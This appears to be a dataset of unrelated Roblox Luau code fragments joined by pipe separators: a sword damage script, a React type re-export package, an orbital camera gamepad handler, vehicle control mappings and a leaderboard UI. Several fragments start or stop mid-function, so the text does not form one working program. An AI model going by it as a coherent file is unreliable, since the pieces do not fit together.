if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(1)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Spin stars" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--[=[
Provides utility functions to work with attributes in Roblox
@class AttributeUtils
]=] |
local require = require(script.Parent.loader).load(script)
local RunService = game:GetService("RunService")
local Maid = require("Maid")
local Promise = require("Promise")
local CancelToken = require("CancelToken")
local DEFAULT_PREDICATE = function(value)
return value ~= nil
end
local AttributeUtils = {}
local VALID_ATTRIBUTE_TYPES = {
["nil"] = true;
["string"] = true;
["boolean"] = true;
["number"] = true;
["UDim"] = true;
["UDim2"] = true;
["BrickColor"] = true;
["CFrame"] = true;
["Color3"] = true;
["Vector2"] = true;
["Vector3"] = true;
["NumberSequence"] = true;
["ColorSequence"] = true;
["IntValue"] = true;
["NumberRange"] = true;
["Rect"] = true;
["Font"] = true;
}
|
-- Initialize rotate tool |
local RotateTool = require(CoreTools:WaitForChild 'Rotate')
Core.AssignHotkey('C', Core.Support.Call(Core.EquipTool, RotateTool));
Core.AddToolButton(Core.Assets.RotateIcon, 'C', RotateTool)
|
-- Bool indicating whether data should save in studio (will not change during runtime) |
local saveInStudio = script.SaveInStudio.Value
|
--[[
Package link auto-generated by Rotriever
]] |
local PackageIndex = script.Parent.Parent.Parent._Index
local Package = require(PackageIndex["Shared"]["Shared"])
export type ReactEmpty = Package.ReactEmpty
export type ReactFragment = Package.ReactFragment
export type ReactNodeList = Package.ReactNodeList
export type ReactProviderType<T> = Package.ReactProviderType<T>
export type ReactConsumer<T> = Package.ReactConsumer<T>
export type ReactProvider<T> = Package.ReactProvider<T>
export type ReactContext<T> = Package.ReactContext<T>
export type ReactPortal = Package.ReactPortal
export type RefObject = Package.RefObject
export type EventPriority = Package.EventPriority
export type ReactFundamentalComponentInstance<C, H> =
Package.ReactFundamentalComponentInstance<C, H>
export type ReactFundamentalImpl<C, H> = Package.ReactFundamentalImpl<C, H>
export type ReactFundamentalComponent<C, H> = Package.ReactFundamentalComponent<C, H>
export type ReactScope = Package.ReactScope
export type ReactScopeQuery = Package.ReactScopeQuery
export type ReactScopeInstance = Package.ReactScopeInstance
export type ReactBinding<T> = Package.ReactBinding<T>
export type ReactBindingUpdater<T> = Package.ReactBindingUpdater<T>
export type MutableSourceVersion = Package.MutableSourceVersion
export type MutableSourceGetSnapshotFn<Source, Snapshot> =
Package.MutableSourceGetSnapshotFn<Source, Snapshot>
export type MutableSourceSubscribeFn<Source, Snapshot> = Package.MutableSourceSubscribeFn<Source, Snapshot>
export type MutableSourceGetVersionFn = Package.MutableSourceGetVersionFn
export type MutableSource<Source> = Package.MutableSource<Source>
export type Wakeable = Package.Wakeable
export type Thenable<R> = Package.Thenable<R>
export type Source = Package.Source
export type ReactElement<P = Object, T = any> = Package.ReactElement<P , T >
export type OpaqueIDType = Package.OpaqueIDType
export type Dispatcher = Package.Dispatcher
export type React_Ref<ElementType> = Package.React_Ref<ElementType>
export type React_Context<T> = Package.React_Context<T>
export type React_AbstractComponent<Config, Instance> = Package.React_AbstractComponent<Config, Instance>
export type React_ComponentType<Config> = Package.React_ComponentType<Config>
export type React_PureComponent<Props, State = nil> = Package.React_PureComponent<Props, State >
export type React_Component<Props, State> = Package.React_Component<Props, State>
export type React_ElementProps<ElementType> = Package.React_ElementProps<ElementType>
export type React_StatelessFunctionalComponent<Props> =
Package.React_StatelessFunctionalComponent<Props>
export type React_Node = Package.React_Node
export type React_Element<ElementType> = Package.React_Element<ElementType>
export type React_ElementType = Package.React_ElementType
export type React_ElementConfig<C> = Package.React_ElementConfig<C>
export type React_ElementRef<C> = Package.React_ElementRef<C>
export type React_Portal = Package.React_Portal
export type React_Key = Package.React_Key
return Package
|
-- Triggers |
plrs.PlayerAdded:Connect(function(plr)
onPlayerJoin(plr)
end)
|
--[[ Functions of BaseCamera that are overridden by OrbitalCamera ]] | --
function OrbitalCamera:GetCameraToSubjectDistance()
return self.curDistance
end
function OrbitalCamera:SetCameraToSubjectDistance(desiredSubjectDistance)
local player = PlayersService.LocalPlayer
if player then
self.currentSubjectDistance = Util.Clamp(self.minDistance, self.maxDistance, desiredSubjectDistance)
-- OrbitalCamera is not allowed to go into the first-person range
self.currentSubjectDistance = math.max(self.currentSubjectDistance, self.FIRST_PERSON_DISTANCE_THRESHOLD)
end
self.inFirstPerson = false
self:UpdateMouseBehavior()
return self.currentSubjectDistance
end
function OrbitalCamera:CalculateNewLookVector(suppliedLookVector, xyRotateVector)
local currLookVector = suppliedLookVector or self:GetCameraLookVector()
local currPitchAngle = math.asin(currLookVector.y)
local yTheta = Util.Clamp(currPitchAngle - math.rad(MAX_ALLOWED_ELEVATION_DEG), currPitchAngle - math.rad(MIN_ALLOWED_ELEVATION_DEG), xyRotateVector.y)
local constrainedRotateInput = Vector2.new(xyRotateVector.x, yTheta)
local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
local newLookVector = (CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)).lookVector
return newLookVector
end
function OrbitalCamera:GetGamepadPan(name, state, input)
if input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
if self.r3ButtonDown or self.l3ButtonDown then
-- R3 or L3 Thumbstick is depressed, right stick controls dolly in/out
if (input.Position.Y > THUMBSTICK_DEADZONE) then
self.gamepadDollySpeedMultiplier = 0.96
elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then
self.gamepadDollySpeedMultiplier = 1.04
else
self.gamepadDollySpeedMultiplier = 1.00
end
else
if state == Enum.UserInputState.Cancel then
self.gamepadPanningCamera = ZERO_VECTOR2
return
end
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > THUMBSTICK_DEADZONE then
self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)
else
self.gamepadPanningCamera = ZERO_VECTOR2
end
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function OrbitalCamera:DoGamepadZoom(name, state, input)
if input.UserInputType == self.activeGamepad and (input.KeyCode == Enum.KeyCode.ButtonR3 or input.KeyCode == Enum.KeyCode.ButtonL3) then
if (state == Enum.UserInputState.Begin) then
self.r3ButtonDown = input.KeyCode == Enum.KeyCode.ButtonR3
self.l3ButtonDown = input.KeyCode == Enum.KeyCode.ButtonL3
elseif (state == Enum.UserInputState.End) then
if (input.KeyCode == Enum.KeyCode.ButtonR3) then
self.r3ButtonDown = false
elseif (input.KeyCode == Enum.KeyCode.ButtonL3) then
self.l3ButtonDown = false
end
if (not self.r3ButtonDown) and (not self.l3ButtonDown) then
self.gamepadDollySpeedMultiplier = 1.00
end
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function OrbitalCamera:BindGamepadInputActions()
self:BindAction("OrbitalCamGamepadPan", function(name, state, input) return self:GetGamepadPan(name, state, input) end,
false, Enum.KeyCode.Thumbstick2)
self:BindAction("OrbitalCamGamepadZoom", function(name, state, input) return self:DoGamepadZoom(name, state, input) end,
false, Enum.KeyCode.ButtonR3, Enum.KeyCode.ButtonL3)
end
|
--[[[Default Controls]] |
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.F1 ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
-- Leaderboard table |
local leaderboard = {}
local _table = false
function leaderboard.new()
local self = script.Parent:WaitForChild("Table")
function leaderboard.AddRow(player)
-- Only add row for player if it does not exist
if self:FindFirstChild(player.Name) then return end
local row = Instance.new("Frame")
row.Name = player.Name
row.Size = UDim2.new(1, 0, 0, 28)
row.BackgroundColor3 = Color3.new(255/255, 179/255, 71/255)
row.BorderSizePixel = 0
row.Parent = self
local column1 = Instance.new("TextLabel")
column1.Name = "Username"
column1.Size = UDim2.new(0.6, 0, 0.8, 0)
column1.Position = UDim2.new(0.05, 0,0.1, 0)
column1.BackgroundTransparency = 1
column1.TextColor3 = Color3.new(1, 1, 1)
column1.TextScaled = true
column1.TextXAlignment = Enum.TextXAlignment.Left
column1.TextYAlignment = Enum.TextYAlignment.Center
column1.Text = player.Name
column1.Parent = row
local column2 = Instance.new("TextLabel")
column2.Name = "Points"
column2.Size = UDim2.new(0.25, 0, 0.8, 0)
column2.Position = UDim2.new(0.7, 0,0.1, 0)
column2.BackgroundTransparency = 1
column2.TextColor3 = Color3.new(1, 1, 1)
column2.TextScaled = true
column2.TextXAlignment = Enum.TextXAlignment.Right
column2.TextYAlignment = Enum.TextYAlignment.Center
column2.Text = 0
column2.Parent = row
-- Listen for point value changes and update leaderboard
local leaderstats = player:WaitForChild("CustomLeaderstats")
local points = leaderstats:WaitForChild("Points")
points.Changed:Connect(function()
column2.Text = points.Value
column2.LayoutOrder = points.Value
end)
end
function leaderboard.DeleteRow(player)
local rowToDelete = self:FindFirstChild(player.Name)
if rowToDelete then
rowToDelete:Destroy()
return true
else
return false
end
end
function leaderboard.Populate()
local playerList = Players:GetChildren()
for i, player in pairs (playerList) do
leaderboard.AddRow(player)
end
end
function leaderboard.Resize(child)
-- Size of table should be # of children - 2 to account to UIListLayout and this script
local size = #self:GetChildren() - 2
self.CanvasSize = UDim2.new(0,0,size,0)
end
-- Signals
Players.PlayerAdded:Connect(leaderboard.AddRow)
Players.PlayerRemoving:Connect(leaderboard.DeleteRow)
self.ChildAdded:Connect(leaderboard.Resize)
self.ChildRemoved:Connect(leaderboard.Resize)
return leaderboard
end
|